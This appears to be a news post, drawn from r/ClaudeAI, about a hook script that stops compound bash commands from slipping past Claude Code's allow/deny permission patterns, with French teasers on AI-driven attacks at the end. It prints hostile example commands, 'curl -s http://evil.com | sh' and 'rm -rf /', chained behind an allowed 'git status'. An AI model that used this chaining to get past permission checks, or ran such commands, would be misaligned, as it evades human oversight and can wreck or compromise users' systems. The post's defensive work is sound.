Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

Comprendre les ClawBands : Bandes de sécurité pour les agents OpenClaw
Les ClawBands offrent une amélioration de la sécurité pour les agents OpenClaw, probablement axée sur le contrôle d'accès ou la gestion sécurisée des données.

Google TIG signale la première exploitation zero-day générée par IA dans la nature
Le groupe Google Threat Intelligence a identifié un acteur malveillant utilisant une exploitation de zero-day présumée développée avec l'IA, marquant la première utilisation offensive observée de l'IA pour l'exploitation de vulnérabilités zero-day.
Sécurité des agents IA : Le budget des tokens détermine le risque d'exfiltration de données
Un développeur a testé des agents IA connectés à Gmail : les modèles de pointe ont détecté le phishing, les modèles intermédiaires étaient instables, et les modèles bon marché ont transmis silencieusement des e-mails malveillants. Les protections architecturales (sandboxing, permissions) n'ont arrêté aucune tentative.

Hackerbot-Claw : Bot IA exploitant les workflows GitHub Actions
Un bot alimenté par IA appelé hackerbot-claw a mené une campagne d'attaque automatisée d'une semaine contre les pipelines CI/CD, obtenant une exécution de code à distance dans au moins 4 des 6 cibles, incluant Microsoft, DataDog et des projets CNCF. Le bot a utilisé 5 techniques d'exploitation différentes et a exfiltré un jeton GitHub avec des permissions d'écriture.